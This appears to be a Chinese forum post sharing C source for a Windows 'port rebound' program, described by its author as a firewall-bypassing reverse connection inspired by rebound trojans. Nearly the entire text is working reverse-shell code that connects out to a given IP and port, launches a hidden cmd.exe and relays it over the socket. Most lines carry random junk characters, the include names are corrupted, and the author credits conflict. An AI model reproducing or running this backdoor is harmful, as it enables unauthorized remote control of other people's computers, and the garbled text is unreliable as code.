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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qO<'_7TN[  
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/* ============================== ] =jnt  
Rebound port in Windows NT EX[X|"r   
By wind,2006/7 >a]4}  
===============================*/ 1:%m >4U  
#include <[^nD>t_  
#include yiUJ!m  
>NN|vj  
#pragma comment(lib,"wsock32.lib") #4{f2s[j6  
(WK $ )f  
void OutputShell(); [UI4YZu}  
SOCKET sClient; =*q:R9V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eB:obz  
-K`0`n}  
void main(int argc,char **argv) .~ a)  
{ % 8kbX  
WSADATA stWsaData; qFV=P k  
int nRet; =L$};ko  
SOCKADDR_IN stSaiClient,stSaiServer; J ,fXXi)J  
y @AKb  
if(argc != 3) S{Au%Rs  
{ xXK7i\ny  
printf("Useage:\n\rRebound DestIP DestPort\n"); HnVUG4yZTD  
return; i4.s_@2Y  
} S\Qh#y FT  
#](k,% 2  
WSAStartup(MAKEWORD(2,2),&stWsaData); /|y3M/;F  
}[PbA4l.g  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y9m'RFZr  
{=7W;uL  
stSaiClient.sin_family = AF_INET; HLAYmXX"w  
stSaiClient.sin_port = htons(0); V9"Kro  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0.nS306  
q+32|k>)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~Xnq(}?ok  
{ dCcV$BX,K  
printf("Bind Socket Failed!\n"); P _t8=d  
return; o><~.T=d&  
} _c%]RE  
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stSaiServer.sin_family = AF_INET; c?d+>5"VX  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4i[3|hv'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +I2P{7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B4&@PX"'>,  
{ r{kV*^\E  
printf("Connect Error!"); tqrvcnQr^  
return; T}P| uP  
} U;KHF{Vm  
OutputShell(); (@M=W.M#  
} #l-,2C~  
6.~(oepu  
void OutputShell() P]+^^ U  
{ x}1(okc  
char szBuff[1024]; ~SJOynSz,  
SECURITY_ATTRIBUTES stSecurityAttributes; ~@z5Ld3xz  
OSVERSIONINFO stOsversionInfo; @P"q`*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )G ,LG0"-  
STARTUPINFO stStartupInfo; g i:;{  
char *szShell; Ih`n:aA  
PROCESS_INFORMATION stProcessInformation; bqf=;Nvog  
unsigned long lBytesRead; \XMl8G  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wH!]B-hn  
N{P (ym2yR  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1_/\{quE  
stSecurityAttributes.lpSecurityDescriptor = 0; QE!cf@~n"  
stSecurityAttributes.bInheritHandle = TRUE; |82V` CV  
>Q+a'bd w  
.Rc&EO  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [O [ N_z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d[rxmEXht  
lyZof_/*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g@nk0lQewj  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; + 7E6U*  
stStartupInfo.wShowWindow = SW_HIDE; /D8cJgH-  
stStartupInfo.hStdInput = hReadPipe; Ec0Ee0%A]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \I,<G7!0  
#B'WT{B$/~  
GetVersionEx(&stOsversionInfo); zv#i\8h^p  
3 %dbfT j  
switch(stOsversionInfo.dwPlatformId) d&?B/E^  
{ fXIeCn  
case 1: >6ch[W5k@  
szShell = "command.com"; $F G4wA  
break; &.<{c `-  
default: :!tQqy2  
szShell = "cmd.exe"; 5 qG7LO.  
break; X.Z?Ie  
} v_5DeaMF'  
?b8NEVjw  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 15U=2j*.b  
f*5=,$0  
send(sClient,szMsg,77,0); uVu`TgbZ  
while(1) ]pb;q(?^  
{ Fw"~f5O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s/sH",  
if(lBytesRead) LC[, K  
{ M?$-u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \|j`jsq  
send(sClient,szBuff,lBytesRead,0); c!Pi)  
} p$[*GXR4  
else 6/@ cP/  
{ +-ieaF  
lBytesRead=recv(sClient,szBuff,1024,0); [(ty{  
if(lBytesRead<=0) break; Di-"y,[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A7|"0*62  
} pb E`Eq  
} S*#y7YKI  
30<dEoF  
return; "-<u.$fE  
}
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